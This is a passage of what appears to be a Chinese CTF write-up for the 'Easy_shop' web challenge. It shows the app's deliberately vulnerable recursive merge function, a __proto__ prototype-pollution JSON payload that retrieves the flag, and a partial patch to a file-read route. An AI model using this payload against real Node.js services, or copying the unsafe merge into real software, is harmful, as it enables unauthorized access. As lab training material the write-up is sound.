</span></span><span class="line"><span class="ln"> 64</span><span class="cl">      <span class="nx">money</span> <span class="o">-=</span> <span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">].</span><span class="nx">price</span> <span class="o">*</span> <span class="nx">quantity</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">      <span class="nx">message</span> <span class="o">=</span> <span class="sb">`成功购买了 </span><span class="si">${</span><span class="nx">quantity</span><span class="si">}</span><span class="sb"> 件 &#34;</span><span class="si">${</span><span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">].</span><span class="nx">name</span><span class="si">}</span><span class="sb">&#34;！`</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">      <span class="c1">// 使用 JavaScript 弹窗来显示购买成功消息
</span></span></span><span class="line"><span class="ln"> 68</span><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="s1">&#39;index&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">products</span><span class="p">,</span> <span class="nx">money</span><span class="p">,</span> <span class="nx">message</span><span class="p">,</span> <span class="nx">showAlert</span><span class="o">:</span> <span class="kc">true</span> <span class="p">});</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">      <span class="nx">message</span> <span class="o">=</span> <span class="s1">&#39;购买失败，钱不够啊老铁.&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 73</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 74</span><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">
</span></span><span class="line"><span class="ln"> 78</span><span class="cl"><span class="kd">function</span> <span class="nx">copy</span><span class="p">(</span><span class="nx">object1</span><span class="p">,</span> <span class="nx">object2</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nx">object1</span> <span class="o">!==</span> <span class="s1">&#39;object&#39;</span> <span class="o">||</span> <span class="nx">object1</span> <span class="o">===</span> <span class="kc">null</span> <span class="o">||</span>
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">      <span class="k">typeof</span> <span class="nx">object2</span> <span class="o">!==</span> <span class="s1">&#39;object&#39;</span> <span class="o">||</span> <span class="nx">object2</span> <span class="o">===</span> <span class="kc">null</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">    <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">object2</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">    <span class="k">if</span> <span class="p">(</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">      <span class="k">typeof</span> <span class="nx">object2</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">===</span> <span class="s1">&#39;object&#39;</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">      <span class="nx">object2</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">!==</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="ln"> 88</span><span class="cl">      <span class="k">typeof</span> <span class="nx">object1</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">===</span> <span class="s1">&#39;object&#39;</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">      <span class="nx">object1</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">!==</span> <span class="kc">null</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">    <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">      <span class="nx">copy</span><span class="p">(</span><span class="nx">object1</span><span class="p">[</span><span class="nx">key</span><span class="p">],</span> <span class="nx">object2</span><span class="p">[</span><span class="nx">key</span><span class="p">]);</span> <span class="c1">// ✅ 安全递归
</span></span></span><span class="line"><span class="ln"> 92</span><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">      <span class="nx">object1</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="nx">object2</span><span class="p">[</span><span class="nx">key</span><span class="p">];</span> <span class="c1">// ✅ 直接赋值
</span></span></span><span class="line"><span class="ln"> 94</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 96</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">
</span></span><span class="line"><span class="ln"> 99</span><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="s1">&#39;/getflag&#39;</span><span class="p">,</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;body-parser&#39;</span><span class="p">).</span><span class="nx">json</span><span class="p">(),</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">,</span> <span class="nx">next</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl">  <span class="nx">res</span><span class="p">.</span><span class="nx">type</span><span class="p">(</span><span class="s1">&#39;html&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">  <span class="kr">const</span> <span class="nx">flagFilePath</span> <span class="o">=</span> <span class="s1">&#39;/flag&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">  <span class="kd">let</span> <span class="nx">flag</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">  <span class="nx">fs</span><span class="p">.</span><span class="nx">readFile</span><span class="p">(</span><span class="nx">flagFilePath</span><span class="p">,</span> <span class="s1">&#39;utf8&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">data</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">      <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="sb">`无法读取文件: </span><span class="si">${</span><span class="nx">flagFilePath</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">106</span><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">      <span class="nx">flag</span> <span class="o">=</span> <span class="nx">data</span><span class="p">;</span> <span class="c1">// 将文件内容赋值给flag变量
</span></span></span><span class="line"><span class="ln">108</span><span class="cl">      <span class="kd">var</span> <span class="nx">secert</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl">      <span class="kd">var</span> <span class="nx">sess</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">session</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">110</span><span class="cl">      <span class="kd">let</span> <span class="nx">user</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="ln">111</span><span class="cl">      <span class="nx">copy</span><span class="p">(</span><span class="nx">user</span><span class="p">,</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">112</span><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="nx">secert</span><span class="p">.</span><span class="nx">testattack</span> <span class="o">===</span> <span class="s1">&#39;admin&#39;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">        <span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="nx">flag</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">
</span></span><span class="line"><span class="ln">115</span><span class="cl">      <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">116</span><span class="cl">        <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s2">&#34;no,no,no!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">117</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">118</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">119</span><span class="cl">  <span class="p">});</span>
</span></span><span class="line"><span class="ln">120</span><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="ln">121</span><span class="cl">
</span></span><span class="line"><span class="ln">122</span><span class="cl">
</span></span><span class="line"><span class="ln">123</span><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;/reset&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">  <span class="nx">money</span> <span class="o">=</span> <span class="nx">initialMoney</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl">  <span class="nx">message</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">126</span><span class="cl">  <span class="nx">res</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">127</span><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="ln">128</span><span class="cl">
</span></span><span class="line"><span class="ln">129</span><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="nx">port</span><span class="p">,</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">130</span><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`Server is running on http://localhost:</span><span class="si">${</span><span class="nx">port</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl"><span class="p">});</span></span></span></code></pre><div class="title text-sm text-muted-foreground px-3 py-1 rounded-lg border">Easy_shop源码</div><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">js</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>逻辑很简单，copy函数有问题，一眼Node.js原型链污染</p>
<p>secert 是个空对象，但它和 user 在同一作用域下，需要控制 req.body 中的内容，污染secret</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">  <span class="s2">&#34;__proto__&#34;</span><span class="o">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="s2">&#34;testattack&#34;</span><span class="o">:</span> <span class="s2">&#34;admin&#34;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">js</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>当时截的图：</p>
<p><img
  src="/12ffc6/Easy_shop_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2484" height="1160"
/>
</p>
<p>这题刚开始没说读取<code>../app.js</code>，我在fuzz的时候居然读到了1.txt、2.txt、3.txt，分别是：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="ln">1</span><span class="cl">在一个宁静的午后，阳光透过树叶洒在地面上，斑驳陆离。小镇的街道上行人稀少，只有微风轻轻拂过树梢，带来一丝初秋的凉意。远处传来几声悠扬的钟声，仿佛提醒人们，该是泡一壶茶、慢慢享受时光的时候了
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl">夜幕降临，城市的灯光次第亮起，仿佛点燃了沉睡的星辰。街角的咖啡店还亮着温暖的橘黄色灯光，一杯热饮静静地摆在窗边的桌上。外面车水马龙，人来人往，而屋内却是一方静谧的世界，时间在这里缓慢流淌，仿佛与喧嚣隔绝。
</span></span><span class="line"><span class="ln">4</span><span class="cl">
</span></span><span class="line"><span class="ln">5</span><span class="cl">清晨的山间薄雾弥漫，露珠挂在草叶上，闪烁着晶莹的光。远处传来鸟鸣声，唤醒了沉睡的森林。一位背着行囊的旅人正沿着蜿蜒的小径缓缓前行，每一步都踩在湿润的土地上，带着对未知的好奇，走向尚未被书写的旅程。</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">txt</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>出现7个一，所以我尝试读取f1111111ag，或者其他变体，都不行。或者按照早中晚的顺序，对文件名排序，312，那是不是响应码改成312响应码呢？可是没有这个响应码。直到给出hint，我才知道这个毫无用处，纯属迷惑人的。</p>
<h2 id="fix-1">fix<a class="anchor" href="#fix-1">#</a></h2>
<p>只用修读取flag的关键漏洞就行，但我顺手把增加金钱数、任意文件读取这俩洞也修了。你还真读app.js啊 : )</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="s1">&#39;/readfile&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">  <span class="kr">const</span> <span class="nx">fileName</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">fileName</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">fileName</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="s2">&#34;fl&#34;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">200</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="s1">&#39;你还真读flag啊&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="c1">// 阻止读取源码
</span></span></span><span class="line hl"><span class="ln"> 8</span><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">fileName</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="s2">&#34;ap&#34;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line hl"><span class="ln"> 9</span><span class="cl">    <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">200</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="s1">&#39;你还真读app.js啊&#39;</span><span class="p">);</span>
</span></span><span class="line hl"><span class="ln">10</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="c1">// 读取文件内容
</span></span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="nx">fs</span><span class="p">.</span><span class="nx">readFile</span><span class="p">(</span><span class="s2">&#34;/app/public/&#34;</span><span class="o">+</span><span class="nx">fileName</span><span class="p">,</span> <span class="s1">&#39;utf8&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">data</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">500</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="s1">&#39;Error reading the file&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">  <span class="p">});</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;/buy/:productIndex&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="kr">const</span> <span class="nx">productIndex</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">productIndex</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">  <span class="kd">let</span> <span class="nx">quantity</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">quantity</span> <span class="o">||</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// 获取购买数量，默认为1
</span></span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">productIndex</span> <span class="o">===</span> <span class="s1">&#39;3&#39;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="nx">quantity</span> <span class="o">=</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">abs</span><span class="p">(</span><span class="nx">quantity</span><span class="p">);</span> <span class="c1">// 取绝对值
</span></span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="nx">money</span> <span class="o">&gt;=</span> <span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">].</span><span class="nx">price</span> <span class="o">*</span> <span class="nx">quantity</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">      <span class="nx">money</span> <span class="o">-=</span> <span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">].</span><span class="nx">price</span> <span class="o">*</span> <span class="nx">quantity</span><span class="p">;</span>
